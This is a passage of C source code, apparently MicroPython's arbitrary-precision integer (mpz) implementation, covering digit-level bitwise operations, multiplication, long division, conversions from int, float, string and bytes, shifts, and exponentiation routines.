(*kdig++ ^ kmask) : kmask; carryi += ((carryj | carryk) ^ DIG_MASK) & DIG_MASK; *idig = carryi & DIG_MASK; carryk >>= DIG_SIZE; carryj >>= DIG_SIZE; carryi >>= DIG_SIZE; } // At least one of j,k must be negative so the above for-loop runs at least // once. For carryi to be non-zero here it must be equal to 1 at the end of // each iteration of the loop. So the accumulation of carryi must overflow // each time, ie carryi += 0xff..ff. So carryj|carryk must be 0 in the // DIG_MASK bits on each iteration. But considering all cases of signs of // j,k one sees that this is not possible. assert(carryi == 0); return mpn_remove_trailing_zeros(oidig, idig); } #else STATIC size_t mpn_or_neg(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen, mpz_dbl_dig_t carryi, mpz_dbl_dig_t carryj, mpz_dbl_dig_t carryk) { mpz_dig_t *oidig = idig; mpz_dig_t imask = (0 == carryi) ? 0 : DIG_MASK; mpz_dig_t jmask = (0 == carryj) ? 0 : DIG_MASK; mpz_dig_t kmask = (0 == carryk) ? 0 : DIG_MASK; for (; jlen > 0; ++idig, ++jdig) { carryj += *jdig ^ jmask; carryk += (--klen <= --jlen) ? (*kdig++ ^ kmask) : kmask; carryi += ((carryj | carryk) ^ imask) & DIG_MASK; *idig = carryi & DIG_MASK; carryk >>= DIG_SIZE; carryj >>= DIG_SIZE; carryi >>= DIG_SIZE; } // See comment in above mpn_or_neg for why carryi must be 0. assert(carryi == 0); return mpn_remove_trailing_zeros(oidig, idig); } #endif #if MICROPY_OPT_MPZ_BITWISE /* computes i = j ^ k returns number of digits in i assumes enough memory in i; assumes normalised j, k; assumes jlen >= klen can have i, j, k pointing to same memory */ STATIC size_t mpn_xor(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen) { mpz_dig_t *oidig = idig; jlen -= klen; for (; klen > 0; --klen, ++idig, ++jdig, ++kdig) { *idig = *jdig ^ *kdig; } for (; jlen > 0; --jlen, ++idig, ++jdig) { *idig = *jdig; } return mpn_remove_trailing_zeros(oidig, idig); } #endif /* i = (-j) ^ (-k) = ~(j - 1) ^ ~(k - 1) = (j - 1) ^ (k - 1) i = -(j ^ (-k)) = -(j ^ ~(k - 1)) = ~(j ^ ~(k - 1)) + 1 = (j ^ (k - 1)) + 1 i = -((-j) ^ k) = -(~(j - 1) ^ k) = ~(~(j - 1) ^ k) + 1 = ((j - 1) ^ k) + 1 computes general form: i = ((j - 1 + jc) ^ (k - 1 + kc)) + ic returns number of digits in i assumes enough memory in i; assumes normalised j, k; assumes length j >= length k can have i, j, k pointing to same memory */ STATIC size_t mpn_xor_neg(mpz_dig_t *idig, const mpz_dig_t *jdig, size_t jlen, const mpz_dig_t *kdig, size_t klen, mpz_dbl_dig_t carryi, mpz_dbl_dig_t carryj, mpz_dbl_dig_t carryk) { mpz_dig_t *oidig = idig; for (; jlen > 0; ++idig, ++jdig) { carryj += *jdig + DIG_MASK; carryk += (--klen <= --jlen) ? (*kdig++ + DIG_MASK) : DIG_MASK; carryi += (carryj ^ carryk) & DIG_MASK; *idig = carryi & DIG_MASK; carryk >>= DIG_SIZE; carryj >>= DIG_SIZE; carryi >>= DIG_SIZE; } if (0 != carryi) { *idig++ = carryi; } return mpn_remove_trailing_zeros(oidig, idig); } /* computes i = i * d1 + d2 returns number of digits in i assumes enough memory in i; assumes normalised i; assumes dmul != 0 */ STATIC size_t mpn_mul_dig_add_dig(mpz_dig_t *idig, size_t ilen, mpz_dig_t dmul, mpz_dig_t dadd) { mpz_dig_t *oidig = idig; mpz_dbl_dig_t carry = dadd; for (; ilen > 0; --ilen, ++idig) { carry += (mpz_dbl_dig_t)*idig * (mpz_dbl_dig_t)dmul; // will never overflow so long as DIG_SIZE <= 8*sizeof(mpz_dbl_dig_t)/2 *idig = carry & DIG_MASK; carry >>= DIG_SIZE; } if (carry != 0) { *idig++ = carry; } return idig - oidig; } /* computes i = j * k returns number of digits in i assumes enough memory in i; assumes i is zeroed; assumes normalised j, k can have j, k point to same memory */ STATIC size_t mpn_mul(mpz_dig_t *idig, mpz_dig_t *jdig, size_t jlen, mpz_dig_t *kdig, size_t klen) { mpz_dig_t *oidig = idig; size_t ilen = 0; for (; klen > 0; --klen, ++idig, ++kdig) { mpz_dig_t *id = idig; mpz_dbl_dig_t carry = 0; size_t jl = jlen; for (mpz_dig_t *jd = jdig; jl > 0; --jl, ++jd, ++id) { carry += (mpz_dbl_dig_t)*id + (mpz_dbl_dig_t)*jd * (mpz_dbl_dig_t)*kdig; // will never overflow so long as DIG_SIZE <= 8*sizeof(mpz_dbl_dig_t)/2 *id = carry & DIG_MASK; carry >>= DIG_SIZE; } if (carry != 0) { *id++ = carry; } ilen = id - oidig; } return ilen; } /* natural_div - quo * den + new_num = old_num (ie num is replaced with rem) assumes den != 0 assumes num_dig has enough memory to be extended by 1 digit assumes quo_dig has enough memory (as many digits as num) assumes quo_dig is filled with zeros */ STATIC void mpn_div(mpz_dig_t *num_dig, size_t *num_len, const mpz_dig_t *den_dig, size_t den_len, mpz_dig_t *quo_dig, size_t *quo_len) { mpz_dig_t *orig_num_dig = num_dig; mpz_dig_t *orig_quo_dig = quo_dig; mpz_dig_t norm_shift = 0; mpz_dbl_dig_t lead_den_digit; // handle simple cases { int cmp = mpn_cmp(num_dig, *num_len, den_dig, den_len); if (cmp == 0) { *num_len = 0; quo_dig[0] = 1; *quo_len = 1; return; } else if (cmp < 0) { // numerator remains the same *quo_len = 0; return; } } // We need to normalise the denominator (leading bit of leading digit is 1) // so that the division routine works. Since the denominator memory is // read-only we do the normalisation on the fly, each time a digit of the // denominator is needed. We need to know is how many bits to shift by. // count number of leading zeros in leading digit of denominator { mpz_dig_t d = den_dig[den_len - 1]; while ((d & DIG_MSB) == 0) { d <<= 1; ++norm_shift; } } // now need to shift numerator by same amount as denominator // first, increase length of numerator in case we need more room to shift num_dig[*num_len] = 0; ++(*num_len); for (mpz_dig_t *num = num_dig, carry = 0; num < num_dig + *num_len; ++num) { mpz_dig_t n = *num; *num = ((n << norm_shift) | carry) & DIG_MASK; carry = (mpz_dbl_dig_t)n >> (DIG_SIZE - norm_shift); } // cache the leading digit of the denominator lead_den_digit = (mpz_dbl_dig_t)den_dig[den_len - 1] << norm_shift; if (den_len >= 2) { lead_den_digit |= (mpz_dbl_dig_t)den_dig[den_len - 2] >> (DIG_SIZE - norm_shift); } // point num_dig to last digit in numerator num_dig += *num_len - 1; // calculate number of digits in quotient *quo_len = *num_len - den_len; // point to last digit to store for quotient quo_dig += *quo_len - 1; // keep going while we have enough digits to divide while (*num_len > den_len) { mpz_dbl_dig_t quo = ((mpz_dbl_dig_t)*num_dig << DIG_SIZE) | num_dig[-1]; // get approximate quotient quo /= lead_den_digit; // Multiply quo by den and subtract from num to get remainder. // We have different code here to handle different compile-time // configurations of mpz: // // 1. DIG_SIZE is stricly less than half the number of bits // available in mpz_dbl_dig_t. In this case we can use a // slightly more optimal (in time and space) routine that // uses the extra bits in mpz_dbl_dig_signed_t to store a // sign bit. // // 2. DIG_SIZE is exactly half the number of bits available in // mpz_dbl_dig_t. In this (common) case we need to be careful // not to overflow the borrow variable. And the shifting of // borrow needs some special logic (it's a shift right with // round up). if (DIG_SIZE < 8 * sizeof(mpz_dbl_dig_t) / 2) { const mpz_dig_t *d = den_dig; mpz_dbl_dig_t d_norm = 0; mpz_dbl_dig_signed_t borrow = 0; for (mpz_dig_t *n = num_dig - den_len; n < num_dig; ++n, ++d) { d_norm = ((mpz_dbl_dig_t)*d << norm_shift) | (d_norm >> DIG_SIZE); borrow += (mpz_dbl_dig_t)*n - (mpz_dbl_dig_t)quo * (d_norm & DIG_MASK); // will overflow if DIG_SIZE >= 8*sizeof(mpz_dbl_dig_t)/2 *n = borrow & DIG_MASK; borrow >>= DIG_SIZE; } borrow += *num_dig; // will overflow if DIG_SIZE >= 8*sizeof(mpz_dbl_dig_t)/2 *num_dig = borrow & DIG_MASK; borrow >>= DIG_SIZE; // adjust quotient if it is too big for (; borrow != 0; --quo) { d = den_dig; d_norm = 0; mpz_dbl_dig_t carry = 0; for (mpz_dig_t *n = num_dig - den_len; n < num_dig; ++n, ++d) { d_norm = ((mpz_dbl_dig_t)*d << norm_shift) | (d_norm >> DIG_SIZE); carry += (mpz_dbl_dig_t)*n + (d_norm & DIG_MASK); *n = carry & DIG_MASK; carry >>= DIG_SIZE; } carry += *num_dig; *num_dig = carry & DIG_MASK; carry >>= DIG_SIZE; borrow += carry; } } else { // DIG_SIZE == 8 * sizeof(mpz_dbl_dig_t) / 2 const mpz_dig_t *d = den_dig; mpz_dbl_dig_t d_norm = 0; mpz_dbl_dig_t borrow = 0; for (mpz_dig_t *n = num_dig - den_len; n < num_dig; ++n, ++d) { d_norm = ((mpz_dbl_dig_t)*d << norm_shift) | (d_norm >> DIG_SIZE); mpz_dbl_dig_t x = (mpz_dbl_dig_t)quo * (d_norm & DIG_MASK); if (x >= *n || *n - x <= borrow) { borrow += (mpz_dbl_dig_t)x - (mpz_dbl_dig_t)*n; *n = (-borrow) & DIG_MASK; borrow = (borrow >> DIG_SIZE) + ((borrow & DIG_MASK) == 0 ? 0 : 1); // shift-right with round-up } else { *n = ((mpz_dbl_dig_t)*n - (mpz_dbl_dig_t)x - (mpz_dbl_dig_t)borrow) & DIG_MASK; borrow = 0; } } if (borrow >= *num_dig) { borrow -= (mpz_dbl_dig_t)*num_dig; *num_dig = (-borrow) & DIG_MASK; borrow = (borrow >> DIG_SIZE) + ((borrow & DIG_MASK) == 0 ? 0 : 1); // shift-right with round-up } else { *num_dig = (*num_dig - borrow) & DIG_MASK; borrow = 0; } // adjust quotient if it is too big for (; borrow != 0; --quo) { d = den_dig; d_norm = 0; mpz_dbl_dig_t carry = 0; for (mpz_dig_t *n = num_dig - den_len; n < num_dig; ++n, ++d) { d_norm = ((mpz_dbl_dig_t)*d << norm_shift) | (d_norm >> DIG_SIZE); carry += (mpz_dbl_dig_t)*n + (d_norm & DIG_MASK); *n = carry & DIG_MASK; carry >>= DIG_SIZE; } carry += (mpz_dbl_dig_t)*num_dig; *num_dig = carry & DIG_MASK; carry >>= DIG_SIZE; //assert(borrow >= carry); // enable this to check the logic borrow -= carry; } } // store this digit of the quotient *quo_dig = quo & DIG_MASK; --quo_dig; // move down to next digit of numerator --num_dig; --(*num_len); } // unnormalise numerator (remainder now) for (mpz_dig_t *num = orig_num_dig + *num_len - 1, carry = 0; num >= orig_num_dig; --num) { mpz_dig_t n = *num; *num = ((n >> norm_shift) | carry) & DIG_MASK; carry = (mpz_dbl_dig_t)n << (DIG_SIZE - norm_shift); } // strip trailing zeros while (*quo_len > 0 && orig_quo_dig[*quo_len - 1] == 0) { --(*quo_len); } while (*num_len > 0 && orig_num_dig[*num_len - 1] == 0) { --(*num_len); } } #define MIN_ALLOC (2) void mpz_init_zero(mpz_t *z) { z->neg = 0; z->fixed_dig = 0; z->alloc = 0; z->len = 0; z->dig = NULL; } void mpz_init_from_int(mpz_t *z, mp_int_t val) { mpz_init_zero(z); mpz_set_from_int(z, val); } void mpz_init_fixed_from_int(mpz_t *z, mpz_dig_t *dig, size_t alloc, mp_int_t val) { z->neg = 0; z->fixed_dig = 1; z->alloc = alloc; z->len = 0; z->dig = dig; mpz_set_from_int(z, val); } void mpz_deinit(mpz_t *z) { if (z != NULL && !z->fixed_dig) { m_del(mpz_dig_t, z->dig, z->alloc); } } #if 0 these functions are unused mpz_t *mpz_zero(void) { mpz_t *z = m_new_obj(mpz_t); mpz_init_zero(z); return z; } mpz_t *mpz_from_int(mp_int_t val) { mpz_t *z = mpz_zero(); mpz_set_from_int(z, val); return z; } mpz_t *mpz_from_ll(long long val, bool is_signed) { mpz_t *z = mpz_zero(); mpz_set_from_ll(z, val, is_signed); return z; } #if MICROPY_PY_BUILTINS_FLOAT mpz_t *mpz_from_float(mp_float_t val) { mpz_t *z = mpz_zero(); mpz_set_from_float(z, val); return z; } #endif mpz_t *mpz_from_str(const char *str, size_t len, bool neg, unsigned int base) { mpz_t *z = mpz_zero(); mpz_set_from_str(z, str, len, neg, base); return z; } #endif STATIC void mpz_free(mpz_t *z) { if (z != NULL) { m_del(mpz_dig_t, z->dig, z->alloc); m_del_obj(mpz_t, z); } } STATIC void mpz_need_dig(mpz_t *z, size_t need) { if (need < MIN_ALLOC) { need = MIN_ALLOC; } if (z->dig == NULL || z->alloc < need) { // if z has fixed digit buffer there's not much we can do as the caller will // be expecting a buffer with at least "need" bytes (but it shouldn't happen) assert(!z->fixed_dig); z->dig = m_renew(mpz_dig_t, z->dig, z->alloc, need); z->alloc = need; } } STATIC mpz_t *mpz_clone(const mpz_t *src) { mpz_t *z = m_new_obj(mpz_t); z->neg = src->neg; z->fixed_dig = 0; z->alloc = src->alloc; z->len = src->len; if (src->dig == NULL) { z->dig = NULL; } else { z->dig = m_new(mpz_dig_t, z->alloc); memcpy(z->dig, src->dig, src->alloc * sizeof(mpz_dig_t)); } return z; } /* sets dest = src can have dest, src the same */ void mpz_set(mpz_t *dest, const mpz_t *src) { mpz_need_dig(dest, src->len); dest->neg = src->neg; dest->len = src->len; memcpy(dest->dig, src->dig, src->len * sizeof(mpz_dig_t)); } void mpz_set_from_int(mpz_t *z, mp_int_t val) { if (val == 0) { z->len = 0; return; } mpz_need_dig(z, MPZ_NUM_DIG_FOR_INT); mp_uint_t uval; if (val < 0) { z->neg = 1; uval = -val; } else { z->neg = 0; uval = val; } z->len = 0; while (uval > 0) { z->dig[z->len++] = uval & DIG_MASK; uval >>= DIG_SIZE; } } void mpz_set_from_ll(mpz_t *z, long long val, bool is_signed) { mpz_need_dig(z, MPZ_NUM_DIG_FOR_LL); unsigned long long uval; if (is_signed && val < 0) { z->neg = 1; uval = -val; } else { z->neg = 0; uval = val; } z->len = 0; while (uval > 0) { z->dig[z->len++] = uval & DIG_MASK; uval >>= DIG_SIZE; } } #if MICROPY_PY_BUILTINS_FLOAT void mpz_set_from_float(mpz_t *z, mp_float_t src) { #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE typedef uint64_t mp_float_int_t; #elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT typedef uint32_t mp_float_int_t; #endif union { mp_float_t f; #if MP_ENDIANNESS_LITTLE struct { mp_float_int_t frc:MP_FLOAT_FRAC_BITS, exp:MP_FLOAT_EXP_BITS, sgn:1; } p; #else struct { mp_float_int_t sgn:1, exp:MP_FLOAT_EXP_BITS, frc:MP_FLOAT_FRAC_BITS; } p; #endif } u = {src}; z->neg = u.p.sgn; if (u.p.exp == 0) { // value == 0 || value < 1 mpz_set_from_int(z, 0); } else if (u.p.exp == ((1 << MP_FLOAT_EXP_BITS) - 1)) { // u.p.frc == 0 indicates inf, else NaN // should be handled by caller mpz_set_from_int(z, 0); } else { const int adj_exp = (int)u.p.exp - MP_FLOAT_EXP_BIAS; if (adj_exp < 0) { // value < 1 , truncates to 0 mpz_set_from_int(z, 0); } else if (adj_exp == 0) { // 1 <= value < 2 , so truncates to 1 mpz_set_from_int(z, 1); } else { // 2 <= value const int dig_cnt = (adj_exp + 1 + (DIG_SIZE - 1)) / DIG_SIZE; const unsigned int rem = adj_exp % DIG_SIZE; int dig_ind, shft; mp_float_int_t frc = u.p.frc | ((mp_float_int_t)1 << MP_FLOAT_FRAC_BITS); if (adj_exp < MP_FLOAT_FRAC_BITS) { shft = 0; dig_ind = 0; frc >>= MP_FLOAT_FRAC_BITS - adj_exp; } else { shft = (rem - MP_FLOAT_FRAC_BITS) % DIG_SIZE; dig_ind = (adj_exp - MP_FLOAT_FRAC_BITS) / DIG_SIZE; } mpz_need_dig(z, dig_cnt); z->len = dig_cnt; if (dig_ind != 0) { memset(z->dig, 0, dig_ind * sizeof(mpz_dig_t)); } if (shft != 0) { z->dig[dig_ind++] = (frc << shft) & DIG_MASK; frc >>= DIG_SIZE - shft; } #if DIG_SIZE < (MP_FLOAT_FRAC_BITS + 1) while (dig_ind != dig_cnt) { z->dig[dig_ind++] = frc & DIG_MASK; frc >>= DIG_SIZE; } #else if (dig_ind != dig_cnt) { z->dig[dig_ind] = frc; } #endif } } } #endif // returns number of bytes from str that were processed size_t mpz_set_from_str(mpz_t *z, const char *str, size_t len, bool neg, unsigned int base) { assert(base <= 36); const char *cur = str; const char *top = str + len; mpz_need_dig(z, len * 8 / DIG_SIZE + 1); if (neg) { z->neg = 1; } else { z->neg = 0; } z->len = 0; for (; cur < top; ++cur) { // XXX UTF8 next char //mp_uint_t v = char_to_numeric(cur#); // XXX UTF8 get char mp_uint_t v = *cur; if ('0' <= v && v <= '9') { v -= '0'; } else if ('A' <= v && v <= 'Z') { v -= 'A' - 10; } else if ('a' <= v && v <= 'z') { v -= 'a' - 10; } else { break; } if (v >= base) { break; } z->len = mpn_mul_dig_add_dig(z->dig, z->len, base, v); } return cur - str; } void mpz_set_from_bytes(mpz_t *z, bool big_endian, size_t len, const byte *buf) { int delta = 1; if (big_endian) { buf += len - 1; delta = -1; } mpz_need_dig(z, (len * 8 + DIG_SIZE - 1) / DIG_SIZE); mpz_dig_t d = 0; int num_bits = 0; z->neg = 0; z->len = 0; while (len) { while (len && num_bits < DIG_SIZE) { d |= *buf << num_bits; num_bits += 8; buf += delta; len--; } z->dig[z->len++] = d & DIG_MASK; // Need this #if because it's C undefined behavior to do: uint32_t >> 32 #if DIG_SIZE != 8 && DIG_SIZE != 16 && DIG_SIZE != 32 d >>= DIG_SIZE; #else d = 0; #endif num_bits -= DIG_SIZE; } z->len = mpn_remove_trailing_zeros(z->dig, z->dig + z->len); } #if 0 these functions are unused bool mpz_is_pos(const mpz_t *z) { return z->len > 0 && z->neg == 0; } bool mpz_is_odd(const mpz_t *z) { return z->len > 0 && (z->dig[0] & 1) != 0; } bool mpz_is_even(const mpz_t *z) { return z->len == 0 || (z->dig[0] & 1) == 0; } #endif int mpz_cmp(const mpz_t *z1, const mpz_t *z2) { // to catch comparison of -0 with +0 if (z1->len == 0 && z2->len == 0) { return 0; } int cmp = (int)z2->neg - (int)z1->neg; if (cmp != 0) { return cmp; } cmp = mpn_cmp(z1->dig, z1->len, z2->dig, z2->len); if (z1->neg != 0) { cmp = -cmp; } return cmp; } #if 0 // obsolete // compares mpz with an integer that fits within DIG_SIZE bits mp_int_t mpz_cmp_sml_int(const mpz_t *z, mp_int_t sml_int) { mp_int_t cmp; if (z->neg == 0) { if (sml_int < 0) return 1; if (sml_int == 0) { if (z->len == 0) return 0; return 1; } if (z->len == 0) return -1; assert(sml_int < (1 << DIG_SIZE)); if (z->len != 1) return 1; cmp = z->dig[0] - sml_int; } else { if (sml_int > 0) return -1; if (sml_int == 0) { if (z->len == 0) return 0; return -1; } if (z->len == 0) return 1; assert(sml_int > -(1 << DIG_SIZE)); if (z->len != 1) return -1; cmp = -z->dig[0] - sml_int; } if (cmp < 0) return -1; if (cmp > 0) return 1; return 0; } #endif #if 0 these functions are unused /* returns abs(z) */ mpz_t *mpz_abs(const mpz_t *z) { mpz_t *z2 = mpz_clone(z); z2->neg = 0; return z2; } /* returns -z */ mpz_t *mpz_neg(const mpz_t *z) { mpz_t *z2 = mpz_clone(z); z2->neg = 1 - z2->neg; return z2; } /* returns lhs + rhs can have lhs, rhs the same */ mpz_t *mpz_add(const mpz_t *lhs, const mpz_t *rhs) { mpz_t *z = mpz_zero(); mpz_add_inpl(z, lhs, rhs); return z; } /* returns lhs - rhs can have lhs, rhs the same */ mpz_t *mpz_sub(const mpz_t *lhs, const mpz_t *rhs) { mpz_t *z = mpz_zero(); mpz_sub_inpl(z, lhs, rhs); return z; } /* returns lhs * rhs can have lhs, rhs the same */ mpz_t *mpz_mul(const mpz_t *lhs, const mpz_t *rhs) { mpz_t *z = mpz_zero(); mpz_mul_inpl(z, lhs, rhs); return z; } /* returns lhs ** rhs can have lhs, rhs the same */ mpz_t *mpz_pow(const mpz_t *lhs, const mpz_t *rhs) { mpz_t *z = mpz_zero(); mpz_pow_inpl(z, lhs, rhs); return z; } /* computes new integers in quo and rem such that: quo * rhs + rem = lhs 0 <= rem < rhs can have lhs, rhs the same */ void mpz_divmod(const mpz_t *lhs, const mpz_t *rhs, mpz_t **quo, mpz_t **rem) { *quo = mpz_zero(); *rem = mpz_zero(); mpz_divmod_inpl(*quo, *rem, lhs, rhs); } #endif /* computes dest = abs(z) can have dest, z the same */ void mpz_abs_inpl(mpz_t *dest, const mpz_t *z) { if (dest != z) { mpz_set(dest, z); } dest->neg = 0; } /* computes dest = -z can have dest, z the same */ void mpz_neg_inpl(mpz_t *dest, const mpz_t *z) { if (dest != z) { mpz_set(dest, z); } dest->neg = 1 - dest->neg; } /* computes dest = ~z (= -z - 1) can have dest, z the same */ void mpz_not_inpl(mpz_t *dest, const mpz_t *z) { if (dest != z) { mpz_set(dest, z); } if (dest->len == 0) { mpz_need_dig(dest, 1); dest->dig[0] = 1; dest->len = 1; dest->neg = 1; } else if (dest->neg) { dest->neg = 0; mpz_dig_t k = 1; dest->len = mpn_sub(dest->dig, dest->dig, dest->len, &k, 1); } else { mpz_need_dig(dest, dest->len + 1); mpz_dig_t k = 1; dest->len = mpn_add(dest->dig, dest->dig, dest->len, &k, 1); dest->neg = 1; } } /* computes dest = lhs << rhs can have dest, lhs the same */ void mpz_shl_inpl(mpz_t *dest, const mpz_t *lhs, mp_uint_t rhs) { if (lhs->len == 0 || rhs == 0) { mpz_set(dest, lhs); } else { mpz_need_dig(dest, lhs->len + (rhs + DIG_SIZE - 1) / DIG_SIZE); dest->len = mpn_shl(dest->dig, lhs->dig, lhs->len, rhs); dest->neg = lhs->neg; } } /* computes dest = lhs >> rhs can have dest, lhs the same */ void mpz_shr_inpl(mpz_t *dest, const mpz_t *lhs, mp_uint_t rhs) { if (lhs->len == 0 || rhs == 0) { mpz_set(dest, lhs); } else { mpz_need_dig(dest, lhs->len); dest->len = mpn_shr(dest->dig, lhs->dig, lhs->len, rhs); dest->neg = lhs->neg; if (dest->neg) { // arithmetic shift right, rounding to negative infinity mp_uint_t n_whole = rhs / DIG_SIZE; mp_uint_t n_part = rhs % DIG_SIZE; mpz_dig_t round_up = 0; for (size_t i = 0; i < lhs->len && i < n_whole; i++) { if (lhs->dig[i] != 0) { round_up = 1; break; } } if (n_whole < lhs->len && (lhs->dig[n_whole] & ((1 << n_part) - 1)) != 0) { round_up = 1; } if (round_up) { if (dest->len == 0) { // dest == 0, so need to add 1 by hand (answer will be -1) dest->dig[0] = 1; dest->len = 1; } else { // dest > 0, so can use mpn_add to add 1 dest->len = mpn_add(dest->dig, dest->dig, dest->len, &round_up, 1); } } } } } /* computes dest = lhs + rhs can have dest, lhs, rhs the same */ void mpz_add_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) { if (mpn_cmp(lhs->dig, lhs->len, rhs->dig, rhs->len) < 0) { const mpz_t *temp = lhs; lhs = rhs; rhs = temp; } if (lhs->neg == rhs->neg) { mpz_need_dig(dest, lhs->len + 1); dest->len = mpn_add(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len); } else { mpz_need_dig(dest, lhs->len); dest->len = mpn_sub(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len); } dest->neg = lhs->neg; } /* computes dest = lhs - rhs can have dest, lhs, rhs the same */ void mpz_sub_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) { bool neg = false; if (mpn_cmp(lhs->dig, lhs->len, rhs->dig, rhs->len) < 0) { const mpz_t *temp = lhs; lhs = rhs; rhs = temp; neg = true; } if (lhs->neg != rhs->neg) { mpz_need_dig(dest, lhs->len + 1); dest->len = mpn_add(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len); } else { mpz_need_dig(dest, lhs->len); dest->len = mpn_sub(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len); } if (neg) { dest->neg = 1 - lhs->neg; } else { dest->neg = lhs->neg; } } /* computes dest = lhs & rhs can have dest, lhs, rhs the same */ void mpz_and_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) { // make sure lhs has the most digits if (lhs->len < rhs->len) { const mpz_t *temp = lhs; lhs = rhs; rhs = temp; } #if MICROPY_OPT_MPZ_BITWISE if ((0 == lhs->neg) && (0 == rhs->neg)) { mpz_need_dig(dest, lhs->len); dest->len = mpn_and(dest->dig, lhs->dig, rhs->dig, rhs->len); dest->neg = 0; } else { mpz_need_dig(dest, lhs->len + 1); dest->len = mpn_and_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len, lhs->neg == rhs->neg, 0 != lhs->neg, 0 != rhs->neg); dest->neg = lhs->neg & rhs->neg; } #else mpz_need_dig(dest, lhs->len + (lhs->neg || rhs->neg)); dest->len = mpn_and_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len, (lhs->neg == rhs->neg) ? lhs->neg : 0, lhs->neg, rhs->neg); dest->neg = lhs->neg & rhs->neg; #endif } /* computes dest = lhs | rhs can have dest, lhs, rhs the same */ void mpz_or_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) { // make sure lhs has the most digits if (lhs->len < rhs->len) { const mpz_t *temp = lhs; lhs = rhs; rhs = temp; } #if MICROPY_OPT_MPZ_BITWISE if ((0 == lhs->neg) && (0 == rhs->neg)) { mpz_need_dig(dest, lhs->len); dest->len = mpn_or(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len); dest->neg = 0; } else { mpz_need_dig(dest, lhs->len + 1); dest->len = mpn_or_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len, 0 != lhs->neg, 0 != rhs->neg); dest->neg = 1; } #else mpz_need_dig(dest, lhs->len + (lhs->neg || rhs->neg)); dest->len = mpn_or_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len, (lhs->neg || rhs->neg), lhs->neg, rhs->neg); dest->neg = lhs->neg | rhs->neg; #endif } /* computes dest = lhs ^ rhs can have dest, lhs, rhs the same */ void mpz_xor_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) { // make sure lhs has the most digits if (lhs->len < rhs->len) { const mpz_t *temp = lhs; lhs = rhs; rhs = temp; } #if MICROPY_OPT_MPZ_BITWISE if (lhs->neg == rhs->neg) { mpz_need_dig(dest, lhs->len); if (lhs->neg == 0) { dest->len = mpn_xor(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len); } else { dest->len = mpn_xor_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len, 0, 0, 0); } dest->neg = 0; } else { mpz_need_dig(dest, lhs->len + 1); dest->len = mpn_xor_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len, 1, 0 == lhs->neg, 0 == rhs->neg); dest->neg = 1; } #else mpz_need_dig(dest, lhs->len + (lhs->neg || rhs->neg)); dest->len = mpn_xor_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len, (lhs->neg != rhs->neg), 0 == lhs->neg, 0 == rhs->neg); dest->neg = lhs->neg ^ rhs->neg; #endif } /* computes dest = lhs * rhs can have dest, lhs, rhs the same */ void mpz_mul_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) { if (lhs->len == 0 || rhs->len == 0) { mpz_set_from_int(dest, 0); return; } mpz_t *temp = NULL; if (lhs == dest) { lhs = temp = mpz_clone(lhs); if (rhs == dest) { rhs = lhs; } } else if (rhs == dest) { rhs = temp = mpz_clone(rhs); } mpz_need_dig(dest, lhs->len + rhs->len); // min mem l+r-1, max mem l+r memset(dest->dig, 0, dest->alloc * sizeof(mpz_dig_t)); dest->len = mpn_mul(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len); if (lhs->neg == rhs->neg) { dest->neg = 0; } else { dest->neg = 1; } mpz_free(temp); } /* computes dest = lhs ** rhs can have dest, lhs, rhs the same */ void mpz_pow_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) { if (lhs->len == 0 || rhs->neg != 0) { mpz_set_from_int(dest, 0); return; } if (rhs->len == 0) { mpz_set_from_int(dest, 1); return; } mpz_t *x = mpz_clone(lhs); mpz_t *n = mpz_clone(rhs); mpz_set_from_int(dest, 1); while (n->len > 0) { if ((n->dig[0] & 1) != 0) { mpz_mul_inpl(dest, dest, x); } n->len = mpn_shr(n->dig, n->dig, n->len, 1); if (n->len == 0) { break; } mpz_mul_inpl(x, x, x); } mpz_free(x); mpz_free(n); } /* computes dest = (lhs ** rhs) % mod can have dest, lhs, rhs the same; mod can't be the same as dest */ void mpz_pow3_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs, const mpz_t *mod) { if (lhs->len == 0 || rhs->neg != 0) { mpz_set_from_int(dest, 0); return; } if (rhs->len == 0) { mpz_set_from_int(dest, 1); return; } mpz_t *x = mpz_clone(lhs); mpz_t *n = mpz_clone(rhs); mpz_t quo; mpz_init_zero(&quo); mpz_set_from_int(dest, 1); while (n->len > 0) { if ((n->dig[0] & 1) != 0) { mpz_mul_inpl(dest, dest, x); mpz_divmod_inpl(&quo, dest, dest, mod); } n->len = mpn_shr(n->dig, n->dig, n->len, 1); if (n->len == 0) { break; } mpz_mul_inpl(x, x, x); mpz_divmod_inpl(&quo, x, x, mod); } mpz_deinit(&quo); mpz_free(x); mpz_free(n); } #if 0 these functions are unused /* computes gcd(z1, z2) based on Knuth's modified gcd algorithm (I think?) gcd(z1, z2) >= 0 gcd(0, 0) = 0 gcd(z, 0) = abs(z) */ mpz_t *mpz_gcd(const mpz_t *z1, const mpz_t *z2) { if (z1->len == 0) { mpz_t *a = mpz_clone(z2); a->neg = 0; return a; } else if (z2->len == 0) { mpz_t *a = mpz_clone(z1); a->neg = 0; return a; } mpz_t *a 